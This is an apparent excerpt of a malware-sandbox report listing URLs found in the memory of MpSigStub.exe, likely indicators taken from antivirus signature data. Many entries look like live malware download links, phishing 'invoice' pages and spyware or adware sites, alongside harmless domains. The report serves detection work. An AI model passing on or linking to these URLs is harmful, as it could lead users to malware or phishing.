        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.piram.com.br/hosts.txt
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_21_1.pdf0:
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.plattemedia.com/links/site
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.platteregistrations.com/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.plattevalidation.com/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.plattevalidation.com/a
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.plustvarama.com
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.policiajudiciaria.pt/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.pornhub.com/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://www.pornpassmanager.com/d
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.powernum123.com/download/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.pp1234.net/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://www.preyer.it/ups.com/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.pricemeter.net/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.pricemeter.net/go/postinstall/?action=install&partner=
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://www.printtracker.net
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.proarama.com
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://www.profwoman.ru/mp3remrenamematrix.servmatrix.exe
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.public.health.wa.gov.au/3/1428/2/apply_to_install_a_wastewater_system.pm
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.qihoo.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://www.qq5.com
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://www.qq994455.com/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.qqhudong.cn/usersetup.asp?action=
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.quovadis.bm0
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://www.qvo6.com/?utm_source=b&utm_medium=
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://www.rabbitsafe.cn/test.exe
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://www.radpdf.com
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://www.rakehunter.com/o/file.hta
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://www.rambler.ru/srch?set=
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.redirserver.com/update4.cfm?tid=&cn_id=
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.redirserver.com/update4.cfm?tid=&cn_id=x
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://www.refog.com
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.related.deals
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://www.report-download.com/advplatform/CnetInstaller.exe?appid=x
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.rezababy.blogfa.com
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.rico09.net/nighteyes/96/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.ritmicamente.it/scan/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.rits.ga/excel/view.php
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://www.ritservice.rua
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.rootkit.net.cn
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.rsdn.ru/cgi-bin/search.exe?query=x
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.rtuhrt.pw/a/wmydybda.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.sacbarao.kinghost.net/
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.safesear.ch/?type=201
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://www.sagalasowka.pl/wp-content/uploads/2011/z
        Source: MpSigStub.exe, 00000023.00000003.18319810399.0000015B1BE00000.00000004.00000001.sdmpString found in binary or memory: http://www.sagawa-exp.co.jp/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://www.satsokal.com/word.doc
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.sbcku.com/index.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.scan-dinavia-succession.com/kyqx7t6c/index.php
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.se-beach-karting.at/overdue-payment/
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.search-aid.com/search.php?qq=
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://www.search-and-find.netg
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.search.ask.com
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.searchmaid.com/
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://www.searchult.com/?bd=sc&oem=
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://www.seatoskycomputerguy.com/zw/oz/serozv.exe
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://www.sectorappliance.com/qdewfww/kdjase.exe
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://www.seduw.com:
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://www.shadowmp3.com
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.shiyongsousuo.com
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.simplyinstaller.com/HtmlTemplates/finishPage.htmlx
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://www.sitem.biz/
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.sjhomme.co.kr/images/admin.jpg
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.skkyc2004.cn
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.slotch.com/ist/softwares/v4.0/istdownload.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.smartpcfixer.com//
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.sniperspy.com/guide.html
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.sogou.com/web?query=%s
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.sogou.com/web?sogouhome=&shuru=shou&query=
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.solsub.com/jasso/hh/imagenes.html?
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://www.somegreatsongs.com/license.cgi?vidlock_params=
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://www.somegreatsongs.com/promo/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.soporteczamora.com/ups-ship-notification/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.soso.com/q?w=%s
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.soso.com/q?w=%s&lr=&sc=web&ch=w.p&filter=1&num=10&pg=%d
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.sotrag.eu/invoice
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://www.speeditupfree.com
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://www.speeditupfree.comxA
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.sportscn.com/
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://www.spyburner.com/activate.php?time=
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://www.spylocked.com/?
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://www.sqwire.com
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.sqwire.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.ssl-256mail.host/5c596a68b83a886b57ade24c?jgiasyi=&pwnmiz_g=1eo3fjfkkke&jgiasyi=wtnygzsiy
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://www.statuscrew.gr/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.steelbendersrfq.cf/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.stimteam.co.za/images
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.stockstar.com/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.superpctools.com
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://www.support.me/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://www.supremocontrol.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.supremocontrol.com/a
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.surprisingdd.top
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://www.sweet-page.com/?type=sc
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.symantec.com
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.sync15.com/bizpolx.exe
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://www.systweak.com/registrycleaner
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://www.tagbao.com/open
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://www.taktuk.tk
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://www.tangosearch.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.tarazsystem.com/wp-admin/pl21.php)
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.tattoopower.it/invoice-
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://www.tazbao.com/setup-
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.technologiesaintjoseph.com/uninstall.php?
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.tempuri.org/DataSet1.xsd
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://www.thedomaindata.com/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.thefacebooksinfo.com/Public/softs/freefinder/FreeFinderResourcesNew.zip
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://www.thehun.com/
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://www.thepitstopjohnstone.co.uk/invoice/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://www.thon-samson.be/js/_notes/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://www.tiandy.com/rechnung-
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://www.tibia.com/community/?subtopic=characters%26name=
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.tiexue.net/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.tijuanalaw.com/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.tq121.com.cn/
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.trafficjam.nl/?failed=initialize.delsim
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.trafficjam.nl/?failed=initialize.delsimProgramFilesDir
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.traramayeri.net
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.tripod.com
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://www.troman.de/cmd/cmds.txt
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://www.trotux.com/?z=
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.tubedigger.com
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://www.turtlecoin.lol
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.tvcodec.net/newest-codecpack.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.uce.gub.uy/acrn/acrn.crl0
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.ujnc.ru/js.js
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://www.universal101.com/upd
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.up.com.jo/gov/lsass.exe
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://www.update-srv.info
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://www.update-srv1.info
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: http://www.usaa.com/inet/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://www.usatoday.com/search/results?q=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://www.v9.com/v9tb/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://www.v9tr.com
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.vegascomtelecom.com/novo/get.php
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.virtrigger.com
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.virtrigger.coma
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.vivendosemfronteiras.com/torpedo/sms/foto/vivo/fototorpedo/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.voxcards.com.br
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://www.wajam.com/webenhancer/logging
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://www.wajam.com/webenhancer/loggingxM
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://www.webflora.co.kr/slog/skin/setup.ini
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://www.webtreats.info/__asf_script_command_ends_here__
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.webye163.cn
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.win-spy.com/update
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://www.win-touch.com
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://www.winferno.com/re/support.asp
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://www.woothemes.com/flexslider/
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://www.wordsmyth.net/cgi-bin/search.cgi
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.wosss.com/search.aspx?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.wuweigame.com/asp/y.js
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.xanga.com
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.xia3.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.xiuzhe.com/ddvan.exe
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://www.xpassgenerator.com/software/d
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.xpsecuritycenter.com/XPSecurityCenter/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.xtzspxw.com/admin506/tt.htmwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.xupiter.com/d
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://www.xzwrn.cn/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.yahoo.com
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://www.yessearches.com/?ts=
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.yfdc.com.tw/wp-content/uploads/2015/11/z.htm
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.yihaha.net/
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://www.yklbtrnklnbkjrnbjyrbnjka.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.yodao.com/search?ue=utf8&q=%s
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://www.youndoo.com/?z=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.youtoba01.hpg.com.br
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.youtube.com/
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://www.youtube.com/watch?v=
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.youtube.com/watch?v=Vjp7vgj119s
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://www.youtube.com/watch?v=nqpod5at30g
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.yuyu.com/?fav2
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://www.zabosaltd.biz/wafugi?id=COMPIDHERE&w=WEBMIDHERE&step=
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://www.zhongsou.com/kefu/zskf.htm
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.ziduscapital.com/en/_mmserverscripts/index.php?e=)
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.zixzelz1.narod.ru/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.znoo.net
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.zv05.com/sys2a
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.zxboy.com#http://
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://www3.stargoldmovies.com//load.php?spl=javad
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www5.baidu.com/baidu?
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www5.baidu.com/s?
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://www6.badesugerwakirpos.com/chr/907/nt.exe
        Source: MpSigStub.exe, 00000023.00000003.18320569449.0000015B1B556000.00000004.00000001.sdmpString found in binary or memory: http://www6HSTR:Trojan:Win32/Stration.KFOP:Stration.encHSTR:TrojanDownloader:Win32/Stration_executeS
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://x0.nl/install/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://x01c4fr.sed.doormedic.com
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://x3redir.mooo.com?r=wmp&title=
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://xhuehs.cantvenlinea.ru:1942
